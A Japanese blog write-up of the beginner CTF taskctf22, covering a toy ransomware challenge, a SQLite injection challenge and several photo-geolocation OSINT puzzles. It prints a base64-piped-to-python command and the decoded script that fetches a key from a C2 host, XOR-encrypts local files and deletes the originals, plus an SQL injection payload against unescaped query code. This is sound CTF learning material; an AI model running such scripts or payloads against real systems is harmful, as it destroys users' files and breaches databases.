🎉

【CTF参加録およびWriteup】taskctf22

2022/12/04に公開約7,700字

初めに

2022/12/3に行われた、task4233さんによる初心者・中級者向けCTFのtaskctfに初参加してきました。
SECCON予選に記念受験したことを除けば、Open x INT に続き2回目の挑戦です。
最終順位は20位でした。

Writeup

Misc

ransomware

友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか? (50 solves)

まず初めに、与えられた下記スクリプトからBASE64エンコードされたpython3のスクリプトをデコード。

echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3

デコード後のpython3スクリプトは以下。

problem.py
#!/usr/bin/env python3

import requests
import glob
import os

C2 = "https://c2.task4233.dev/bD7bB7pc57d2"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()

C2サーバーにはアクセスできないため、keyを取得することはできません。
また、暗号化処理の部分は、単一のkey(ビットマスク)とのXORをとっているだけのようです。

このタイプの暗号化は100年以上前に開発された、バーナム暗号と呼ばれる古典的なストリーム暗号です。ワンタイムパスワードと同様に、鍵管理が適切に行われていれば解読不可能なものになります。

そんな暗号文を今回解読できた理由は次の二つです。

  • 平文の一部を部分的に知っている
  • 同じ鍵を複数回使いまわしている

flagフォーマットから一文字選びord()で文字コードに変換した後、暗号化されたflagと排他的論理和を取ることで、keyを特定することができます。

後は、得られたkeyで再度すべての暗号文を平文に戻せば、flagを得ることができます。

solve.py
key = ord('䔘') ^ ord('t')
encrypted_flag = "䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦"
plain_flag = ""
for w in encrypted_flag:
    plain_flag +=chr(key ^ ord(w))

print(plain_flag)
flag

taskctf{x0r_1s_e4sy_70_1mplemen7}

平文を知っているという事実を失念していたため、私は残り時間5分前になって解法に気が付きました。

Web

first

運営している小さな掲示板が100ユーザを達成しました 🎉
そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください! (29 solves)

問題となっているページを見に行くと、明らかに怪しいSQL injectionが通りそうな箇所があります。
配布されたソースコードを確認してみると、下記でユーザの入力をエスケープできていないことがわかります。

problem
def index_get():
    q = ''
    if request.args.get('q') is not None:
        q = request.args.get('q')
    
    results = None
    c = sqlite3.connect(db_name)
    try:
        cur = c.cursor()
        cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
        results = cur.fetchall()

また、現在はコメントアウトされているものの、ユーザ登録は以下のように処理されていたようです。

register
NOTE: This handler is not unavailable
@app.route("/register", methods=["POST"])
def register_post():
     data = request.json
     c = sqlite3.connect(db_name)
     c.execute(f"INSERT INTO users (name, id) VALUES ({data['name']}, {str(uuid7())})")
     c.commit()
     c.close()

上記のコードから、uuid7をidとして利用しているため、単純にidの値を利用して副問い合わせを行うことは難しそうであることがわかります。

SQLite3を利用しているため、こちらに行番号を自動で採番するような機能がないか探してみると、rowidで行番号を取得できることがわかります。したがって、以下のコマンドを検索ボックスに投げれば、該当ユーザのpostsのみが表示されます。

' where users.rowid = '100';--

最後は、出力されたpostsのユーザ名をflagとして提出すればcorrectになります。

flag

taskctf{Satomi_Kato}

この解法は、テーブルの作成時にrowidを無効化していると使うことができません。
UUID v7の仕様に基づく別解のほうが適切だと思います。

OSINT

ramen

このラーメン屋の名前は何でしょう? (106 solves)

美味しそうな麻婆麺です。
画像には、麻婆麺と卓上調味料のポットくらいしか手掛かりがありませんから、論理的に解くことは難しそうです。
Google Lensに投げると、以下のような結果が得られます。

有名な店なのか、同じ結果ばかり表示されていることがわかります。
確証は持てないものの、試してみるとcorrectでした。

flag

taskctf{蠟燭屋}

kofun

作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか? (61 solves)

問題として与えられた画像は、どこかの古墳にある石室の入口であり、立ち入りも許されているようです。
それほど有名ではないのか、ramen問のようにGoogle Lensを利用しても、期待した結果は得られませんでした。

問題文中には、作問者がSNSにアップロードした旨が書かれているので、とりあえず作問者のTwitterアカウントに投稿された「古墳」を含むツイートを検索すると、次のようなのツイートが見つかります。

2枚目の画像には、埴輪がたくさん並んでいるという特徴が含まれており、とてもGoogle Lensのし甲斐がありそうです。
結果として、この時作問者さんが訪れていたのは龍角寺古墳群であることがわかりますが、その中のどの古墳であるかまでは特定されません。

石室に立ち入りができるという特徴をもとに、史跡名を入れて検索してみます。

「龍角寺古墳 石室 立入」

大半は岩屋古墳(龍角寺105号墳)の西石室が表示されますが、スクロールしていくと左上の石や根の特徴が一致する画像がいくつか出てきます。

どのサイトを参照してもよいですが、木標が含まれている画像から以下のflagを得ました。

flag

taskctf{上福田岩屋古墳}

douro

この写真が撮られた場所の緯度と経度を教えてください!

フラグの形式は taskctf{緯度_経度} です。ただし、緯度経度は十進法で小数点以下四桁目を切り捨てたものとします。

flagフォーマットの形式を正しく読むのが難しい問題でした。

画像の左下に、Re Electと題された選挙ポスターのようなものが掲示されていることがわかります。
「Re elect withers matheis」を検索にかけると、最初に同じ名前の掲示物が表示されます。

選挙で再選したということですので、この掲示物が掲出されていた画像の場所は、Irvine Rance Water地区であることがわかります。

また、問題の画像右上には、「Culver P」という文字列の看板が見えます。
Pはやや怪しいので、「Irvine Culver」で検索をかけると「Culver Plaza」という場所が引っ掛かりました。
Google mapで検索すると、下記のような施設が見つかります。

いくつか候補になりそうな交差点がありますが、右折禁止や横断歩道の特徴をもとにすると、一つに交差点を絞ることができます。

ストリートビューで確認すると、それらしい場所であることがわかりますので、座標を表示して提出するとcorrectになります。

flag

taskctf{33.693_-117.798}

この問題は全然解けなかったOpen x INTのPlace問へのリベンジマッチとして、絶対に解きたい問題でした。4桁目までflagに入れて出していたことを除けばスムーズに解けたので、少しはOSINT力が上がったのかもしれません。

おわりに

今回は、比較的良い結果が出せたかなと思います。
最初のリザルト画像にもこっそり記載があるように、参加した時間が21:28でクローズまで2.5時間しかない状態でした。(実はOpenX INTでも2.5時間遅刻でしたが) そろそろ飛び入り参加ではなく、計画的に参加したいところです。

TLにいくつも開催中の実況ツイートが流れてくるほどに人気のあるCTFを、例年誕生日に、しかも個人的に開催されているそうで、大変ありがたく思っています。

できれば来年も参加して全完を目指したいところですので、ぜひ開催していただけると嬉しいです。
よろしくお願いします。

Discussion

ログインするとコメントできます